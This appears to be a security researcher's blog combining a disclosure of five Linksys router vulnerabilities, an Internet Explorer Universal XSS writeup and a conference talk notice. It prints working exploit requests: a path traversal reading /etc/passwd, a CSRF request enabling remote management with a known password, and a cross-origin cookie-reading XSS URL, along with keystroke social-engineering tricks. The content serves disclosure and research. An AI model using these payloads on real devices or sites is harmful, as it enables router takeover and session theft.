Don't Use Linksys Routers

Back in 2012 I gave a talk at a conference titled Blended Threats and JavaScript. I demonstrated how anybody could design an internet worm that targeted common network devices like routers and turn them into a powerful botnet that is able to monitor traffic across all types of networks. For the presentation, I demonstrated a vulnerability in the uber-popular Linksys WRT54GL router. Well, it's been almost a year since that presentation, so where are we now? In January of this year, Cisco (who owned Linksys until recently) published a patch to the router. Unfortunately, as the change log  indicates, the patch only addressed an unrelated XSS issue. Today, the latest firmware version 4.30.16 (build 4) remains vulnerable to the attack, dubbed Cross-Site File Upload (CSFU).

The router itself was only a mechanism to demonstrate the attack. During my research process, I thought it would be good to take a look at how Cisco's newer devices did in regards to securing their administration features. I chose the Linksys EA2700 Network Manager N600 Wi_Fi Wireless-N Router because it is a major brand device, and was recently released in March 2012, making it an easy choice for home users looking for an easy to use home Wi-Fi router. I hooked it up and spent maybe 30 minutes testing the security of the embedded website used to manage the device, then never used it again. What I found was so terrible, awful, and completely inexcusable! It only took 30 minutes to come to the conclusion that any network with an EA2700 router on it is an insecure network! 

On March 5, 2013, I emailed my research to Cisco.

Today I am publishing 5 Linksys router vulnerabilities so that consumers may be aware of the risks.

linksys vulns.txt

1. Linksys WRT54GL Firmware Upload CSRF Vulnerability

I demonstrate Cross-Site File Upload in my BlackHat and AppSec USA talks. If you need more info on the vector itself, check out How to upload arbitrary file contents cross-domain by Kotowicz.

2. Linksys EA2700 XSS Vulnerability

XSS on the apply.cgi page (used for nearly all state changing requests). Works authenticated or non-authenticated. Can be used to steal access to the device, change settings, or assist in uploading backdoored firmware.

3. Linksys EA2700 File Path Traversal Vulnerability

Get the routers /etc/passwd file or other config files easily, and without ever logging in! This vulnerability tells me that this routers software was never given a security pen-test because it is just TOO easy!

POST /apply.cgi
Host: 192.168.1.1
submit_button=Wireless_Basic&change_action=gozila_cgi&next_page=/etc/passwd
====>
root:x:0:0::/:/bin/sh
nobody:x:99:99:Nobody:/:/bin/nologin
sshd:x:22:22::/var/empty:/sbin/nologin
admin:x:1000:1000:Admin User:/tmp/home/admin:/bin/sh
quagga:x:1001:1001:Quagga:/var/empty:/bin/nologin
firewall:x:1002:1002:Firewall:/var/empty:/bin/nologin

4. Linksys EA2700 Password Change Insufficient Authentication and CSRF Vulnerability

On a Linksys EA2700 router, anybody on the same network can change the routers password and enable remote management. This would allow them to access your network from the Internet. It's also possible for a remote attacker on the Internet to design a malicious website  that would exploit the same vulnerabilities without actually being on your home network. Now thats what I call a CSRF attack!

Simply send a POST request to apply.cgi  page. This simple POST request will turn on remote management and change the admin password to "password":

POST /apply.cgi HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 370

submit_button=Management&change_action=&action=Apply&PasswdModify=1
&http_enable=1&https_enable=0&ctm404_enable=&remote_mgt_https=0
&wait_time=4&http_passwd=password&http_passwdConfirm=password
&_http_enable=1&web_wl_filter=0
&remote_management=1&_remote_mgt_https=1&remote_ip_any=1
&http_wanport=8080&nf_alg_sip=0&ctf_enable=1&upnp_enable=1
&upnp_config=1&upnp_internet_dis=0

This is just STUPID. I don't know whether to laugh or cry at this because it's essentially the same as putting an unpatched Windows machine directly on the Internet. This is just so sad that I really don't know what else to say about this. *mindblown.gif*

5. Linksys EA2700 Source Code Disclosure Vulnerability

Feel like hacking the EA2700, but only have a keyboard with one character on it? If that character is a "/" then you are in luck. Add a "/" to any URL while browsing through the administrative panel, and you will be presented the raw source code of the page. No, I'm not talking the HTML source code, but the actual web application level source code that is used to convert the page to HTML. I wonder how many more vulns you can find by going through the source code of this appliance.

Happy Internetting!

Top-Level Universal XSS

A flaw in Internet Explorer could expose users to JavaScript exploits and Universal XSS by abusing the way the browser classifies websites into specific security zones.

What is Universal XSS?

Generic Cross-Site Scripting (XSS) flaws only affect the original website that has the XSS vulnerability. For example, XSS in facebook.com grants an attacker access to the victim's Facebook session, but browser security prevents the flaw from affecting other websites.

Universal XSS (UXSS) is when it is the browser behavior that is exploited, and the standard controls that prevent other websites from being affected are ignored. UXSS is essentially creating an XSS flaw where there is none.

The Threat of Two Letter Websites

In February of 2012, I wrote about a group of websites that are being hosted at the root level of custom Top-Level Domains (TLD) such as http://io./ and http://ai./. At the time, I posed the question, “If there are XSS vulnerabilities on a Top-Level Domain, could it affect all of its subdomains?”

It turns out that XSS on website hosted at the root level can lead to very bad things much worse than I originally thought: Universal XSS; a single XSS vulnerability that can perform cross-site communication to any other domain. I'm going to explain the circumstances of this vulnerability and how it can be exploited.

I want to thank Pujun Li (@jackmasa) for bringing this to my attention and the Microsoft Security Response Center for quickly getting back to us on this issue.

The Intranet Zone

Internet Explorer maps out websites you visit into specific security zones: Internet, Local Intranet, Trusted Sites, and Restricted Sites.

IE9 Security Zones

The Local Intranet Zone is a zone designated for trusted content; content hosted on your local network by your confident network administrators. In this zone, security measures are reduced across the board, and sites mapped to this zone do not use IE’s built-in ActiveX or XSS filters. Same Origin/Cross-domain boundaries are reduced, and JavaScript is granted additional cross-domain functionality to communicate with external websites. Why? Presumably to prevent things from breaking in the corporate network. If an attacker can get a malicious JavaScript within the Intranet zone, he effectively controls the rest of the websites that the victim interacts with.

From Internet to Intranet

The problem is the Intranet Zone, which Microsoft’s Eric Law goes into great detail in his MSDN IEInternals blog post The Intranet Zone. Every website Internet Explorer visits goes through a sequence of checks to determine which security zone the page should load into. One of these checks is called:

The PlainhostName rule (aka “The Dot rule”):

If the URI’s hostname doesn’t contain any periods (e.g. http://team/) then it is mapped to the Local Intranet Zone.

A site hosted at the TLD doesn’t have any periods in the hostname, and so the Internet hosted site gets incorrectly classified as an Intranet hosted site.

Eric concludes the post saying “none of [the TLD] sites can be loaded from most corporate networks.” I don’t know about most corporate networks, but I feel it’s important to go over the various requirements that need to be met before the UXSS vulnerability can be exploited.

Enabling the Intranet Zone

When the Intranet Zone is enabled in IE, we are left with a website that is on the Internet, but loaded in the less-secure Local Intranet Zone.

A user in a managed enterprise network is likely to have the Intranet Zone enabled by default. For home users, the Intranet Zone has been disabled since the release of IE7, but that means that it is enabled for Internet Explorer version 6. Combined, that's actually a pretty huge attack surface.

While the Intranet Zone is disabled by default for home users, once it is enabled it stays that way for all future requests. So how do you enable the Intranet Zone?

The instant a website is accessed that Internet Explorer interprets as possibly being on the local network, there is a warning message:

Intranet settings are turned off by default. [Don't show this message again] [Turn on Intranet Settings]

Clicking “Turn on Intranet Settings” provides a secondary confirmation, “Are you sure you want to turn on intranet-level security settings?”

Intranet settings use a less secure level than the Internet. If you only go to Internet websites, you should not turn on intranet settings.

Are you sure you want to turn on intranet-level security settings?

Click YES and the Intranet Zone is permanently enabled and the page is reloaded.

Once again, this only needs to be done if the user has never enabled Intranet Settings in the past and is not on a managed network, but for everyone else it’s still a lot of steps to be tricked into following. Fortunately for the bad guys, these roadblocks can be overcome with a little social engineering and good timing. The victim only needs to tab over and select the "Turn on Intranet Settings" button, activate it, and then provide a Yes response to the confirmation dialog. So, the attacker creates a scenario where it would make sense to type a few keystrokes, then the specific key combination [TAB] [TAB] [ENTER] [Y].

Security Risk

In IE, every site on the Local Intranet has carte blanche access to sensitive data on the rest of the sites on the Internet. This includes the ability of JavaScript to run against unassociated domains, something that is normally disallowed by browser Same Origin Policy. There is one caveat though, and once again it comes in the form of a confirmation dialog:

This page is accessing information that is not under its control. This poses a security risk. Do you want to continue?

If the user clicks “Yes”, the JavaScript program gets unrestricted access across the rest of internet. How does that attacker get the victim to click “Yes”? Once again, they can use social engineering and timing. All the attacker has to do is get the victim to type the letter [Y] one more time to confirm YES at the prompt.

So, if you own a TLD and host a website at the root level, you can do some pretty mean things.

But what if you don’t have the $185,000 needed to register your own TLD from ICANN?

I suppose you’ll just have to rely on vulnerabile code in-use by somebody who has already paid the fees and set up a website. Perhaps you will find one running a CGI script with XSS Vulnerabilities. Cool, but what about IE's XSS filter, won't that stop the attack? After all, it is pretty good at detecting and preventing XSS, right? Unfortunately, the filter is completely disabled in the Intranet Zone, raising the threat and ease of exploiting XSS on TLD hosts.

Misdirection

I took this vulnerability to Microsoft to see what they thought of it. My understanding is that because of the numerous confirmation prompts and variables, they didn't see it as a very high threat. In theory I agree, and it's hard to see this as a typical drive-by exploit. However, I would like to point out one more thing that could make exploitation easier: The warning messages do not give any indication about which website IE is attempting to load in the Intranet Zone or access cross-domain content. It isn't obvious whether you are under attack, or if you simply visited a website that's attempting to take full advantage of the abundance of features that IE provides. Loading the TLD site in a hidden iframe means that the user does not receive any visual cues about which website is attacking them, or what information is being hacked.

Trusted Site

Show me the money

I bet you would like to see a POC now, wouldn't you?

An attack of this nature isn’t just theoretical; it’s entirely possible. I discovered that one of the companies hosting websites on its root domain uses a CGI script that is vulnerable to XSS. Without considering the flood of new companies that will soon have their own TLD, there are at least four websites (tm, sh, io, and ac) that can be used right now by attackers as a jumping off point for this vulnerability and used steal sensitive data and bank account information, or hack into social networks and email accounts.

Here's a live proof of concept for IE9. The injected JavaScript in the URL creates a request that simply grabs the response headers of reddit.com including any new cookies and displays them in an alert as evidence that the Same Origin Policy has been ignored. Similar code can just as easily be written to grab CSRF tokens and submit new votes and posts under your Reddit username.

http://ac/cgi-bin/idn?data=%1N%1e%1cscript%1ex=new XMLHttpRequest;x.open('get','http://www.reddit.com');x.send();x.onreadystatechange=function(){if(x.readyState==4)alert(x.getAllResponseHeaders())};void(0);%1c%0fscript%1e

Update 1: To get a better idea of what the attack could look like, check out a video demonstration.

Blended Threats and JavaScript

Check out the slides to our talk "Blended Threats and JavaScript" presented at BlackHat USA 2012! This version of the presentation features 3 additional slides not shown during the conference. Please also check out the demonstration code on Github, and leave feedback in the comments below. Follow myself @superevr and my co-presenter @savant42 on Twitter.

Black Hat USA 2012 - Blended Threats and JavaScript: A Plan for Permanent Network Compromise